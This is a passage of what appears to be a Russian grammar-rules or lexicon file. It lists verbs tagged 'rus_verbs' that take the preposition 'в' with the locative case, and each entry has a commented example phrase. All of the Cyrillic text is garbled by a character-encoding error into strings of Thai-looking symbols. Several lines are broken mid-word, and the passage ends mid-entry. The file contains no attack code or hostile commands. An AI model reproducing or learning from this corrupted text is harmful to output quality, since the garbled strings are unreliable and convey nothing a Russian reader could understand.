rus_verbs:ะทะฐะดะตัะถะธะฒะฐัั{}, // ะทะฐะดะตัะถะธะฒะฐัั ะฒ ะปะธััะต
rus_verbs:ะฟัะพะณัะปััััั{}, // ะฟัะพะณัะปััััั ะฒ ะปะตัั
rus_verbs:ะฟัะพััะฑะธัั{}, // ะฟัะพััะฑะธัั ะฒะพ ะปัะดั
rus_verbs:ะพัะธัะฐัั{}, // ะพัะธัะฐัั ะฒ ะบะธัะปะพัะต
rus_verbs:ะฟะพะปัะปะตะถะฐัั{}, // ะฟะพะปัะปะตะถะฐัั ะฒ ะณะฐะผะฐะบะต
rus_verbs:ะธัะฟัะฐะฒะธัั{}, // ะธัะฟัะฐะฒะธัั ะฒ ะทะฐะดะฐะฝะธะธ
rus_verbs:ะฟัะตะดััะผะฐััะธะฒะฐัััั{}, // ะฟัะตะดััะผะฐััะธะฒะฐัััั ะฒ ะฟะพััะฐะฝะพะฒะบะต ะทะฐะดะฐัะธ
rus_verbs:ะทะฐะผััะธัั{}, // ะทะฐะผััะธัั ะฒ ะฟะปะตะฝั
rus_verbs:ัะฐะทัััะฐัััั{}, // ัะฐะทัััะฐัััั ะฒ ะฒะตัั
ะฝะตะน ัะฐััะธ
rus_verbs:ะตัะทะฐัั{}, // ะตัะทะฐัั ะฒ ะบัะตัะปะต
rus_verbs:ะฟะพะบะพะฟะฐัััั{}, // ะฟะพะบะพะฟะฐัััั ะฒ ะทะฐะปะตะถะฐั
rus_verbs:ัะฐัะบะฐััััั{}, // ัะฐัะบะฐััััั ะฒ ัะพะดะตัะฝะฝะพะผ
rus_verbs:ะฟัะพะฑะตะถะฐัััั{}, // ะฟัะพะฑะตะถะฐัััั ะฒ ะฟะฐัะบะต
rus_verbs:ะฟะพะปะตะถะฐัั{}, // ะฟะพะปะตะถะฐัั ะฒ ะณะฐะผะฐะบะต
rus_verbs:ะฟะพะทะฐะธะผััะฒะพะฒะฐัั{}, // ะฟะพะทะฐะธะผััะฒะพะฒะฐัั ะฒ ะบะฝะธะณะต
rus_verbs:ัะฝะธะถะฐัั{}, // ัะฝะธะถะฐัั ะฒ ะฝะตัะบะพะปัะบะพ ัะฐะท
rus_verbs:ัะตัะฟะฐัั{}, // ัะตัะฟะฐัั ะฒ ะฟะพัะทะธะธ
rus_verbs:ะทะฐะฒะตัััั{}, // ะทะฐะฒะตัััั ะฒ ัะฒะพะตะน ะธัะบัะตะฝะฝะพััะธ
rus_verbs:ะฟัะพะณะปัะดะตัั{}, // ะฟัะพะณะปัะดะตัั ะฒ ััะผะตัะบะฐั
rus_verbs:ะฟัะธะฟะฐัะบะพะฒะฐัั{}, // ะฟัะธะฟะฐัะบะพะฒะฐัั ะฒะพ ะดะฒะพัะต
rus_verbs:ัะฒะตัะปะธัั{}, // ัะฒะตัะปะธัั ะฒ ััะตะฝะต
rus_verbs:ะทะดะพัะพะฒะฐัััั{}, // ะทะดะพัะพะฒะฐัััั ะฒ ะฐัะดะธัะพัะธะธ
rus_verbs:ัะพะถะฐัั{}, // ัะพะถะฐัั ะฒ ะฒะพะดะต
rus_verbs:ะฝะฐัะฐัะฐะฟะฐัั{}, // ะฝะฐัะฐัะฐะฟะฐัั ะฒ ัะตััะฐะดะบะต
rus_verbs:ะทะฐัะพะฟะฐัั{}, // ะทะฐัะพะฟะฐัั ะฒ ะบะพัะธะดะพัะต
rus_verbs:ะฟัะพะฟะธัะฐัั{}, // ะฟัะพะฟะธัะฐัั ะฒ ะฟัะฐะฒะธะปะฐั
rus_verbs:ัะพัะธะตะฝัะธัะพะฒะฐัััั{}, // ัะพัะธะตะฝัะธัะพะฒะฐัััั ะฒ ะพะฑััะพััะตะปัััะฒะฐั
rus_verbs:ัะฝะธะทะธัั{}, // ัะฝะธะทะธัั ะฒ ะฝะตัะบะพะปัะบะพ ัะฐะท
rus_verbs:ะทะฐะฑะปัะถะดะฐัััั{}, // ะทะฐะฑะปัะถะดะฐัััั ะฒ ัะฒะพะตะน ัะตะพัะธะธ
rus_verbs:ะพัะบะพะฟะฐัั{}, // ะพัะบะพะฟะฐัั ะฒ ะพัะฒะฐะปะฐั
rus_verbs:ัะผะฐััะตัะธัั{}, // ัะผะฐััะตัะธัั ะฒ ะปะฐะฑะพัะฐัะพัะธะธ
rus_verbs:ะทะฐะผะตะดะปะธัััั{}, // ะทะฐะผะตะดะปะธัััั ะฒ ะฟะฐัะฐัะธะฝะต
rus_verbs:ะธะทะฑะธะฒะฐัั{}, // ะธะทะฑะธะฒะฐัั ะฒ ััะฐััะบะต
rus_verbs:ะผััััั{}, // ะผััััั ะฒ ะฑะฐะฝะต
rus_verbs:ัะฒะฐัะธัั{}, // ัะฒะฐัะธัั ะฒ ะบะฐััััะปัะบะต
rus_verbs:ัะฐัะบะพะฟะฐัั{}, // ัะฐัะบะพะฟะฐัั ะฒ ัะฝะตะณั
rus_verbs:ะบัะตะฟะธัััั{}, // ะบัะตะฟะธัััั ะฒ ะดะตัะถะฐัะตะปะต
rus_verbs:ะดัะพะฑะธัั{}, // ะดัะพะฑะธัั ะฒ ะผะตะปัะฝะธัะต
rus_verbs:ะฟะพะฟะธัั{}, // ะฟะพะฟะธัั ะฒ ัะตััะพัะฐะฝัะธะบะต
rus_verbs:ะทะฐััะพะฝััั{}, // ะทะฐััะพะฝััั ะฒ ะดััะต
rus_verbs:ะปัะทะณะฝััั{}, // ะปัะทะณะฝััั ะฒ ัะธัะธะฝะต
rus_verbs:ะทะฐะฟัะฐะฒะปััั{}, // ะทะฐะฟัะฐะฒะปััั ะฒ ะฟะพะปะตัะต
rus_verbs:ัะฐะทะผะฝะพะถะฐัััั{}, // ัะฐะทะผะฝะพะถะฐัััั ะฒ ะฝะตะฒะพะปะต
rus_verbs:ะฟะพัะพะฟะธัั{}, // ะฟะพัะพะฟะธัั ะฒ ะขะธั
ะพะผ ะะบะตะฐะฝะต
rus_verbs:ะบััะฐัั{}, // ะบััะฐัั ะฒ ััะพะปะพะฒะพะน
rus_verbs:ะทะฐะผะพะปะบะฐัั{}, // ะทะฐะผะพะปะบะฐัั ะฒ ะทะฐะผะตัะฐัะตะปัััะฒะต
rus_verbs:ะธะทะผะตัััััั{}, // ะธะทะผะตัััััั ะฒ ะดัะนะผะฐั
rus_verbs:ัะฑัะฒะฐัััั{}, // ัะฑัะฒะฐัััั ะฒ ะผะตััะฐั
rus_verbs:ะทะฐะดะตัะฝััั{}, // ะทะฐะดะตัะฝััั ะฒ ะบะพะผะฝะฐัะต
rus_verbs:ะทะฐัะธั
ะฐัั{}, // ะทะฐัะธั
ะฐัั ะฒ ัะตะผะฝะพัะต
rus_verbs:ะฟัะพัะปะตะถะธะฒะฐัััั{}, // ะฟัะพัะปะตะถะธะฒะฐะตััั ะฒ ะถััะฝะฐะปะต
rus_verbs:ะฟัะตััะฒะฐัััั{}, // ะฟัะตััะฒะฐะตััั ะฒ ะฝะฐัะฐะปะต
rus_verbs:ะธะทะพะฑัะฐะถะฐัััั{}, // ะธะทะพะฑัะฐะถะฐะตััั ะฒ ะปัะฑัั
ัะธะปัะผะฐั
rus_verbs:ัะธะบัะธัะพะฒะฐัั{}, // ัะธะบัะธัะพะฒะฐัั ะฒ ะดะฐะฝะฝะพะน ัะพัะบะต
rus_verbs:ะพัะปะฐะฑะปััั{}, // ะพัะปะฐะฑะปััั ะฒ ะฟะพััะต
rus_verbs:ะทัะตัั{}, // ะทัะตัั ะฒ ัะตะฟะปะธัะต
rus_verbs:ะทะตะปะตะฝะตัั{}, // ะทะตะปะตะฝะตัั ะฒ ะพะณะพัะพะดะต
rus_verbs:ะบัะธัะธะบะพะฒะฐัั{}, // ะบัะธัะธะบะพะฒะฐัั ะฒ ััะฐััะต
rus_verbs:ะพะฑะปะตัะตัั{}, // ะพะฑะปะตัะตัั ะฒ ัะฐััะฝะพะผ ะฒะตััะพะปะตัะต
rus_verbs:ัะฐะทะฑัะพัะฐัั{}, // ัะฐะทะฑัะพัะฐัั ะฒ ะบะพะผะฝะฐัะต
rus_verbs:ะทะฐัะฐะทะธัััั{}, // ะทะฐัะฐะทะธัััั ะฒ ะปัะดะฝะพะผ ะผะตััะต
rus_verbs:ัะฐััะตััั{}, // ัะฐััะตััั ะฒ ะฑะพั
rus_verbs:ะฟะตัััั{}, // ะฟะตัััั ะฒ ะดัั
ะพะฒะบะต
rus_verbs:ะฟะพัะฟะฐัั{}, // ะฟะพัะฟะฐัั ะฒ ะฟะฐะปะฐัะบะต
rus_verbs:ะทะฐัััะฟะธัััั{}, // ะทะฐัััะฟะธัััั ะฒ ะดัะฐะบะต
rus_verbs:ัะฟะปะตัะฐัััั{}, // ัะฟะปะตัะฐัััั ะฒ ัะตัะตะดะธะฝะต
rus_verbs:ะฟะพะผะตััะธัััั{}, // ะฟะพะผะตััะธัััั ะฒ ะผะตัะบะต
rus_verbs:ัะฟะตัะตัั{}, // ัะฟะตัะตัั ะฒ ะปะฐะฒะบะต
// ะธะฝัะธะฝะธัะธะฒ:ะปะธะบะฒะธะดะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ะปะธะบะฒะธะดะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะปะธะบะฒะธะดะธัะพะฒะฐัั ะฒ ะฟัะธะณะพัะพะดะต
// ะธะฝัะธะฝะธัะธะฒ:ะปะธะบะฒะธะดะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ะปะธะบะฒะธะดะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั },
rus_verbs:ะฟัะพะฒะฐะปััััั{}, // ะฟัะพะฒะฐะปััััั ะฒ ะฟะพััะตะปะธ
rus_verbs:ะปะตัะธัััั{}, // ะปะตัะธัััั ะฒ ััะฐัะธะพะฝะฐัะต
rus_verbs:ะพะฟัะตะดะตะปะธัััั{}, // ะพะฟัะตะดะตะปะธัััั ะฒ ัะตััะฝะพะผ ะฑะพั
rus_verbs:ะพะฑัะฐะฑะพัะฐัั{}, // ะพะฑัะฐะฑะพัะฐัั ะฒ ัะฐััะฒะพัะต
rus_verbs:ะฟัะพะฑะธะฒะฐัั{}, // ะฟัะพะฑะธะฒะฐัั ะฒ ััะตะฝะต
rus_verbs:ะฟะตัะตะผะตัะฐัััั{}, // ะฟะตัะตะผะตัะฐัััั ะฒ ัะฐะฝะต
rus_verbs:ัะตัะฐัั{}, // ัะตัะฐัั ะฒ ะฟะฐั
ั
rus_verbs:ะฟัะพะปะตัั{}, // ะฟัะพะปะตัั ะฒ ะฟััััะฝะฝะพะน ะผะตััะฝะพััะธ
rus_verbs:ัะบะธัะฐัััั{}, // ัะบะธัะฐัััั ะฒ ะดะฐะปัะฝะธั
ัััะฐะฝะฐั
rus_verbs:ะทะฐัััะดะฝััััั{}, // ะทะฐัััะดะฝััััั ะฒ ะฒัะฑะพัะต
rus_verbs:ะพัััั
ะฝััััั{}, // ะพัััั
ะฝััััั ะฒ ะบะพัะธะดะพัะต
rus_verbs:ัะฐะทัะณััะฒะฐัััั{}, // ัะฐะทัะณััะฒะฐัััั ะฒ ะปะพัะตัะตะต
rus_verbs:ะฟะพะผะพะปะธัััั{}, // ะฟะพะผะพะปะธัััั ะฒ ัะตัะบะฒะธ
rus_verbs:ะฟัะตะดะฟะธััะฒะฐัั{}, // ะฟัะตะดะฟะธััะฒะฐัั ะฒ ัะตัะตะฟัะต
rus_verbs:ะฟะพัะฒะฐัััั{}, // ะฟะพัะฒะฐัััั ะฒ ัะปะฐะฑะพะผ ะผะตััะต
rus_verbs:ะณัะตัััั{}, // ะณัะตัััั ะฒ ะทะดะฐะฝะธะธ
rus_verbs:ะพะฟัะพะฒะตัะณะฐัั{}, // ะพะฟัะพะฒะตัะณะฐัั ะฒ ัะฒะพะตะผ ะฒััััะฟะปะตะฝะธะธ
rus_verbs:ะฟะพะผัะฝััั{}, // ะฟะพะผัะฝััั ะฒ ัะฒะพะตะผ ะฒััััะฟะปะตะฝะธะธ
rus_verbs:ะดะพะฟัะพัะธัั{}, // ะดะพะฟัะพัะธัั ะฒ ะฟัะพะบััะฐัััะต
rus_verbs:ะผะฐัะตัะธะฐะปะธะทะพะฒะฐัััั{}, // ะผะฐัะตัะธะฐะปะธะทะพะฒะฐัััั ะฒ ัะพัะตะดะฝะตะผ ะทะดะฐะฝะธะธ
rus_verbs:ัะฐััะตะธะฒะฐัััั{}, // ัะฐััะตะธะฒะฐัััั ะฒ ะฒะพะทะดัั
ะต
rus_verbs:ะฟะตัะตะฒะพะทะธัั{}, // ะฟะตัะตะฒะพะทะธัั ะฒ ะฒะฐะณะพะฝะต
rus_verbs:ะพัะฑัะฒะฐัั{}, // ะพัะฑัะฒะฐัั ะฒ ััััะผะต
rus_verbs:ะฟะพะฟะฐั
ะธะฒะฐัั{}, // ะฟะพะฟะฐั
ะธะฒะฐัั ะฒ ะพัั
ะพะถะตะผ ะผะตััะต
rus_verbs:ะฟะตัะตัะธัะปััั{}, // ะฟะตัะตัะธัะปััั ะฒ ะทะฐะบะปััะตะฝะธะธ
rus_verbs:ะทะฐัะพะถะดะฐัััั{}, // ะทะฐัะพะถะดะฐัััั ะฒ ะดะตะฑััั
rus_verbs:ะฟัะตะดััะฒะปััั{}, // ะฟัะตะดััะฒะปััั ะฒ ัะฒะพะตะผ ะฟะธััะผะต
rus_verbs:ัะฐัะฟัะพัััะฐะฝััั{}, // ัะฐัะฟัะพัััะฐะฝััั ะฒ ัะตัะธ
rus_verbs:ะฟะธัะพะฒะฐัั{}, // ะฟะธัะพะฒะฐัั ะฒ ัะพัะตะดะฝะตะผ ัะตะปะต
rus_verbs:ะฝะฐัะตััะฐัั{}, // ะฝะฐัะตััะฐัั ะฒ ะปะตัะพะฟะธัะธ
rus_verbs:ัะฐััะฒะตัะฐัั{}, // ัะฐััะฒะตัะฐัั ะฒ ะฟะพะดั
ะพะดััะธั
ััะปะพะฒะธัั
rus_verbs:ัะฐัััะฒะพะฒะฐัั{}, // ัะฐัััะฒะพะฒะฐัั ะฒ ัะถะฝะพะน ัะฐััะธ ะผะฐัะตัะธะบะฐ
rus_verbs:ะฝะฐะบะพะฟะธัั{}, // ะฝะฐะบะพะฟะธัั ะฒ ะฑััะตัะต
rus_verbs:ะทะฐะบัััะธัััั{}, // ะทะฐะบัััะธัััั ะฒ ัััะธะฝะต
rus_verbs:ะพััะฐะฑะพัะฐัั{}, // ะพััะฐะฑะพัะฐัั ะฒ ะทะฐะฑะพะต
rus_verbs:ะพะฑะพะบัะฐััั{}, // ะพะฑะพะบัะฐััั ะฒ ะฐะฒัะพะฑััะต
rus_verbs:ะฟัะพะบะปะฐะดัะฒะฐัั{}, // ะฟัะพะบะปะฐะดัะฒะฐัั ะฒ ัะฝะตะณั
rus_verbs:ะบะพะฒััััั{}, // ะบะพะฒััััั ะฒ ะฝะพัั
rus_verbs:ะบะพะฟะธัั{}, // ะบะพะฟะธัั ะฒ ะพัะตัะตะดะธ
rus_verbs:ะฟะพะปะตัั{}, // ะฟะพะปะตัั ะฒ ััะตะฟัั
rus_verbs:ัะตะฑะตัะฐัั{}, // ัะตะฑะตัะฐัั ะฒ ะบัััะธะบะฐั
rus_verbs:ะฟะพะดัะตัะบะธะฒะฐัััั{}, // ะฟะพะดัะตัะบะธะฒะฐัััั ะฒ ัะพะพะฑัะตะฝะธะธ
rus_verbs:ะฟะพัะตััั{}, // ะฟะพัะตััั ะฒ ะพะณะพัะพะดะต
rus_verbs:ัะฐะทัะตะทะถะฐัั{}, // ัะฐะทัะตะทะถะฐัั ะฒ ะบะฐะฑัะธะพะปะตัะต
rus_verbs:ะทะฐะผะตัะฐัััั{}, // ะทะฐะผะตัะฐัััั ะฒ ะปะตัั
rus_verbs:ะฟัะพััะธัะฐัั{}, // ะฟัะพััะธัะฐัั ะฒ ัะผะต
rus_verbs:ะผะฐััััั{}, // ะผะฐััััั ะฒ ะบะพะผะฐะฝะดะธัะพะฒะบะต
rus_verbs:ะฒัั
ะฒะฐััะฒะฐัั{}, // ะฒัั
ะฒะฐััะฒะฐัั ะฒ ัะตะบััะต
rus_verbs:ะบัะตััะธัััั{}, // ะบัะตััะธัััั ะฒ ะดะตัะตะฒะตะฝัะบะพะน ัะฐัะพะฒะฝะต
rus_verbs:ะพะฑัะฐะฑะฐััะฒะฐัั{}, // ะพะฑัะฐะฑะฐััะฒะฐัั ะฒ ัะฐััะฒะพัะต ะบะธัะปะพัั
rus_verbs:ะฝะฐััะธะณะฐัั{}, // ะฝะฐััะธะณะฐัั ะฒ ะพะณะพัะพะดะต
rus_verbs:ัะฐะทะณัะปะธะฒะฐัั{}, // ัะฐะทะณัะปะธะฒะฐัั ะฒ ัะพัะต
rus_verbs:ะฝะฐัะธะปะพะฒะฐัั{}, // ะฝะฐัะธะปะพะฒะฐัั ะฒ ะบะฒะฐััะธัะต
rus_verbs:ะฟะพะฑะพัะพัั{}, // ะฟะพะฑะพัะพัั ะฒ ัะตะฑะต
rus_verbs:ััะธััะฒะฐัั{}, // ััะธััะฒะฐัั ะฒ ัะฐััะตัะฐั
rus_verbs:ะธัะบะฐะถะฐัั{}, // ะธัะบะฐะถะฐัั ะฒ ะทะฐะผะตัะบะต
rus_verbs:ะฟัะพะฟะธัั{}, // ะฟัะพะฟะธัั ะฒ ะบะฐะฑะฐะบะต
rus_verbs:ะบะฐัะฐัั{}, // ะบะฐัะฐัั ะฒ ะปะพะดะพัะบะต
rus_verbs:ะฟัะธะฟัััะฐัั{}, // ะฟัะธะฟัััะฐัั ะฒ ะบะฐัะผะฐัะบะต
rus_verbs:ะทะฐะฟะฐะฝะธะบะพะฒะฐัั{}, // ะทะฐะฟะฐะฝะธะบะพะฒะฐัั ะฒ ะฑะพั
rus_verbs:ัะฐัััะฟะฐัั{}, // ัะฐัััะฟะฐัั ะฒ ััะฐะฒะต
rus_verbs:ะทะฐัััะตะฒะฐัั{}, // ะทะฐัััะตะฒะฐัั ะฒ ะพะณัะฐะดะต
rus_verbs:ะทะฐะถะธะณะฐัััั{}, // ะทะฐะถะธะณะฐัััั ะฒ ััะผะตัะบะฐั
rus_verbs:ะถะฐัะธัั{}, // ะถะฐัะธัั ะฒ ะผะฐัะปะต
rus_verbs:ะฝะฐะบะฐะฟะปะธะฒะฐัััั{}, // ะฝะฐะบะฐะฟะปะธะฒะฐัััั ะฒ ะบะพัััั
rus_verbs:ัะฐัะฟัััะธัััั{}, // ัะฐัะฟัััะธัััั ะฒ ะณะพััะบะต
rus_verbs:ะฟัะพะณะพะปะพัะพะฒะฐัั{}, // ะฟัะพะณะพะปะพัะพะฒะฐัั ะฒ ะฟะตัะตะดะฒะธะถะฝะพะผ ะฟัะฝะบัะต
rus_verbs:ัััะฐะฝััะฒะพะฒะฐัั{}, // ัััะฐะฝััะฒะพะฒะฐัั ะฒ ะฐะฒัะพะผะพะฑะธะปะต
rus_verbs:ะพัะผะฐััะธะฒะฐัััั{}, // ะพัะผะฐััะธะฒะฐัััั ะฒ ั
ะพัะพะผะฐั
rus_verbs:ัะฐะทะฒะพัะฐัะธะฒะฐัั{}, // ัะฐะทะฒะพัะฐัะธะฒะฐัั ะฒ ัะฟะพััะทะฐะปะต
rus_verbs:ะทะฐัะบััะฐัั{}, // ะทะฐัะบััะฐัั ะฒ ัะฐะผะพะปะตัะต
rus_verbs:ะฝะฐะฟััะฐัั{}, // ะฝะฐะฟััะฐัั ะฒ ัะฐััะตัะต
rus_verbs:ะฟะตัะตะบััะธัั{}, // ะฟะตัะตะบััะธัั ะฒ ััะพะปะพะฒะพะน
rus_verbs:ัะฟะฐัะฐัััั{}, // ัะฟะฐัะฐัััั ะฒ ะฐะฒัะพะฝะพะผะฝะพะน ะบะฐะฟััะปะต
rus_verbs:ะฟะพัะพะฒะตัะฐัััั{}, // ะฟะพัะพะฒะตัะฐัััั ะฒ ะบะพะผะฝะฐัะต
rus_verbs:ะดะพะบะฐะทัะฒะฐัััั{}, // ะดะพะบะฐะทัะฒะฐัััั ะฒ ััะฐััะต
rus_verbs:ะฟะพะทะฝะฐะฒะฐัััั{}, // ะฟะพะทะฝะฐะฒะฐัััั ะฒ ะฑะตะดะต
rus_verbs:ะทะฐะณััััะธัั{}, // ะทะฐะณััััะธัั ะฒ ะพะดะธะฝะพัะตััะฒะต
rus_verbs:ะพะถะธะฒะธัั{}, // ะพะถะธะฒะธัั ะฒ ะฟะฐะผััะธ
rus_verbs:ะฟะตัะตะฒะพัะฐัะธะฒะฐัััั{}, // ะฟะตัะตะฒะพัะฐัะธะฒะฐัััั ะฒ ะณัะพะฑั
rus_verbs:ะทะฐะฟัะธะผะตัะธัั{}, // ะทะฐะฟัะธะผะตัะธัั ะฒ ะปะตัั
rus_verbs:ะพััะฐะฒะธัััั{}, // ะพััะฐะฒะธัััั ะฒ ะทะฐะฑะตะณะฐะปะพะฒะบะต
rus_verbs:ะฟัะพะดะตัะถะฐัั{}, // ะฟัะพะดะตัะถะฐัั ะฒ ะบะปะตัะบะต
rus_verbs:ะฒััะฒะธัั{}, // ะฒััะฒะธัั ะฒ ะบะพัััั
rus_verbs:ะทะฐัะตะดะฐัั{}, // ะทะฐัะตะดะฐัั ะฒ ัะพะฒะตัะต
rus_verbs:ัะฐัะฟะปะฐัะธะฒะฐัััั{}, // ัะฐัะฟะปะฐัะธะฒะฐัััั ะฒ ะฟะตัะฒะพะน ะบะฐััะต
rus_verbs:ะฟัะพะปะพะผะธัั{}, // ะฟัะพะปะพะผะธัั ะฒ ะดะฒะตัะธ
rus_verbs:ะฟะพะดัะฐะถะฐัั{}, // ะฟะพะดัะฐะถะฐัั ะฒ ะผะตะปะพัะฐั
rus_verbs:ะฟะพะดััะธััะฒะฐัั{}, // ะฟะพะดััะธััะฒะฐัั ะฒ ัะผะต
rus_verbs:ะพะฟะตัะตะถะฐัั{}, // ะพะฟะตัะตะถะฐัั ะฒะพ ะฒัะตะผ
rus_verbs:ััะพัะผะธัะพะฒะฐัััั{}, // ััะพัะผะธัะพะฒะฐัััั ะฒ ะพะฑะปะฐะบะต
rus_verbs:ัะบัะตะฟะธัััั{}, // ัะบัะตะฟะธัััั ะฒ ะผะฝะตะฝะธะธ
rus_verbs:ะพัััะพััั{}, // ะพัััะพััั ะฒ ะพัะตัะตะดะธ
rus_verbs:ัะฐะทะฒะตัััะฒะฐัััั{}, // ัะฐะทะฒะตัััะฒะฐัััั ะฒ ะผะตััะต ะธัะฟััะฐะฝะธั
rus_verbs:ะทะฐะผะตัะทะฐัั{}, // ะทะฐะผะตัะทะฐัั ะฒะพ ะปัะดั
rus_verbs:ััะพะฟะฐัั{}, // ััะพะฟะฐัั ะฒ ัะฝะตะณั
rus_verbs:ัะฐัะบะฐะธะฒะฐัััั{}, // ัะฐัะบะฐะธะฒะฐัััั ะฒ ัะพะดะตัะฝะฝะพะผ
rus_verbs:ะพัะณะฐะฝะธะทะพะฒัะฒะฐัั{}, // ะพัะณะฐะฝะธะทะพะฒัะฒะฐัั ะฒ ะฟะธะพะฝะตัะปะฐะณะตัะต
rus_verbs:ะฟะตัะตะฒะตััะธัั{}, // ะฟะตัะตะฒะตััะธัั ะฒ ะฝะฐัะธั
ะบัะฐัั
rus_verbs:ัะผะตัะธะฒะฐัั{}, // ัะผะตัะธะฒะฐัั ะฒ ะฑะปะตะฝะดะตัะต
rus_verbs:ััะธัััั{}, // ััะธัััั ะฒ ัะตัะฝะพะน ะบะฐะผะพัะบะต
rus_verbs:ะฟัะพะถะดะฐัั{}, // ะฟัะพะถะดะฐัั ะฒ ะฐัะดะธัะพัะธะธ
rus_verbs:ะฟะพะดััะบะธะฒะฐัั{}, // ะฟะพะดััะบะธะฒะฐัั ะฒ ะถะตะฝัะบะพะผ ะพะฑัะตะถะธัะธะธ
rus_verbs:ะทะฐะผะพัะธัั{}, // ะทะฐะผะพัะธัั ะฒ ัะพััะธัะต
rus_verbs:ะผะตัะทะฝััั{}, // ะผะตัะทะฝััั ะฒ ัะพะฝะบะพะน ะบัััะพัะบะต
rus_verbs:ัะฐััะธัะฐัั{}, // ัะฐััะธัะฐัั ะฒ ัััะฟะบะต
rus_verbs:ะทะฐะผะตะดะปััั{}, // ะทะฐะผะตะดะปััั ะฒ ะฟะฐัะฐัะธะฝะต
rus_verbs:ะฟะตัะตัะฟะฐัั{}, // ะฟะตัะตัะฟะฐัั ะฒ ะฟะฐะปะฐัะบะต
rus_verbs:ัะฐััะตะบะฐัั{}, // ัะฐััะตะบะฐัั ะฒ ะบะฐะฑัะธะพะปะตัะต
rus_verbs:ะพัััะบะธะฒะฐัั{}, // ะพัััะบะธะฒะฐัั ะฒ ะทะฐะปะตะถะฐั
rus_verbs:ะพะฟัะพะฒะตัะณะฝััั{}, // ะพะฟัะพะฒะตัะณะฝััั ะฒ ัะฒะพะตะผ ะฒััััะฟะปะตะฝะธะธ
rus_verbs:ะดััั
ะฝััั{}, // ะดััั
ะฝััั ะฒ ะณะฐะผะฐะบะต
rus_verbs:ัะบััะฒะฐัััั{}, // ัะบััะฒะฐัััั ะฒ ะทะตะผะปัะฝะบะต
rus_verbs:ะทะฐะฟะตัััั{}, // ะทะฐะฟะตัััั ะฒ ะทะพะปะต
rus_verbs:ะดะพะณะพัะฐัั{}, // ะดะพะณะพัะฐัั ะฒ ัะตะผะฝะพัะต
rus_verbs:ะทะฐััะธะปะฐัั{}, // ะทะฐััะธะปะฐัั ะฒ ะบะพัะธะดะพัะต
rus_verbs:ัััะบะฐัััั{}, // ัััะบะฐัััั ะฒ ะดะตัะตะฒะฝะต
rus_verbs:ะฟะตัะตะดะตะปะฐัั{}, // ะฟะตัะตะดะตะปะฐัั ะฒ ะผะฐััะตััะบะพะน
rus_verbs:ัะฐะทัััะฝััั{}, // ัะฐะทัััะฝััั ะฒ ัะฒะพะตะน ะปะตะบัะธะธ
rus_verbs:ัะตะปะธัััั{}, // ัะตะปะธัััั ะฒ ัะตะฝััะต
rus_verbs:ะพะฟะปะฐัะธะฒะฐัั{}, // ะพะฟะปะฐัะธะฒะฐัั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ะฟะตัะตะฒะพัะฐัะธะฒะฐัั{}, // ะฟะตัะตะฒะพัะฐัะธะฒะฐัั ะฒ ะทะฐะบัััะพะน ะฑะฐะฝะบะต
rus_verbs:ัะฟัะฐะถะฝััััั{}, // ัะฟัะฐะถะฝััััั ะฒ ะพัััะพัะผะธะธ
rus_verbs:ะฟะพะผะตัะธัั{}, // ะฟะพะผะตัะธัั ะฒ ัะฟะธัะบะต
rus_verbs:ะฟัะธะฟะพะผะฝะธัััั{}, // ะฟัะธะฟะพะผะฝะธัััั ะฒ ะทะฐะฒะตัะฐะฝะธะธ
rus_verbs:ะฟัะธััะธัั{}, // ะฟัะธััะธัั ะฒ ะฐะผะฑะฐัะต
rus_verbs:ะฝะฐัะตัะฟะตัััั{}, // ะฝะฐัะตัะฟะตัััั ะฒ ัะตะผะฝะธัะต
rus_verbs:ะทะฐัะตะฒะฐัััั{}, // ะทะฐัะตะฒะฐัััั ะฒ ะบะปัะฑะต
rus_verbs:ัะฟะปัะฒะฐัั{}, // ัะฟะปัะฒะฐัั ะฒ ะปะพะดะบะต
rus_verbs:ัะบะธัะฝััั{}, // ัะบะธัะฝััั ะฒ ะฑะธะดะพะฝะต
rus_verbs:ะทะฐะบะพะปะพัั{}, // ะทะฐะบะพะปะพัั ะฒ ะฑะพะบั
rus_verbs:ะทะฐะผะตััะฐัั{}, // ะทะฐะผะตััะฐัั ะฒ ัะตะผะฝะพัะต
rus_verbs:ัะธะบัะธัะพะฒะฐัััั{}, // ัะธะบัะธัะพะฒะฐัััั ะฒ ะฟัะพัะพะบะพะปะต
rus_verbs:ะทะฐะฟะธัะฐัััั{}, // ะทะฐะฟะธัะฐัััั ะฒ ะบะพะผะฝะฐัะต
rus_verbs:ััะตะทะถะฐัััั{}, // ััะตะทะถะฐัััั ะฒ ะบะฐัะตัะฐั
rus_verbs:ัะพะปะพัััั{}, // ัะพะปะพัััั ะฒ ัััะฟะต
rus_verbs:ะฟะพัะฐะฝัะตะฒะฐัั{}, // ะฟะพัะฐะฝัะตะฒะฐัั ะฒ ะบะปัะฑะต
rus_verbs:ะฟะพะฑัะพะดะธัั{}, // ะฟะพะฑัะพะดะธัั ะฒ ะฟะฐัะบะต
rus_verbs:ะฝะฐะทัะตะฒะฐัั{}, // ะฝะฐะทัะตะฒะฐัั ะฒ ะบะพะปะปะตะบัะธะฒะต
rus_verbs:ะดะพั
ะฝััั{}, // ะดะพั
ะฝััั ะฒ ะฟะธัะพะผะฝะธะบะต
rus_verbs:ะบัะตััะธัั{}, // ะบัะตััะธัั ะฒ ะดะตัะตะฒะตะฝัะบะพะน ัะตัะบะฒััะบะต
rus_verbs:ัะฐัััะธัะฐัััั{}, // ัะฐัััะธัะฐัััั ะฒ ะฑะฐะฝะบะต
rus_verbs:ะฟัะธะฟะฐัะบะพะฒะฐัััั{}, // ะฟัะธะฟะฐัะบะพะฒะฐัััั ะฒะพ ะดะฒะพัะต
rus_verbs:ะพัั
ะฒะฐัะธัั{}, // ะพัั
ะฒะฐัะธัั ะฒ ะผะฐะณะฐะทะธะฝัะธะบะต
rus_verbs:ะพัััะฒะฐัั{}, // ะพัััะฒะฐัั ะฒ ั
ะพะปะพะดะธะปัะฝะธะบะต
rus_verbs:ัะพััะฐะฒะปััััั{}, // ัะพััะฐะฒะปััััั ะฒ ะฐัะผะพััะตัะต ัะฐะนะฝั
rus_verbs:ะฟะตัะตะฒะฐัะธะฒะฐัั{}, // ะฟะตัะตะฒะฐัะธะฒะฐัั ะฒ ัะธัะธะฝะต
rus_verbs:ั
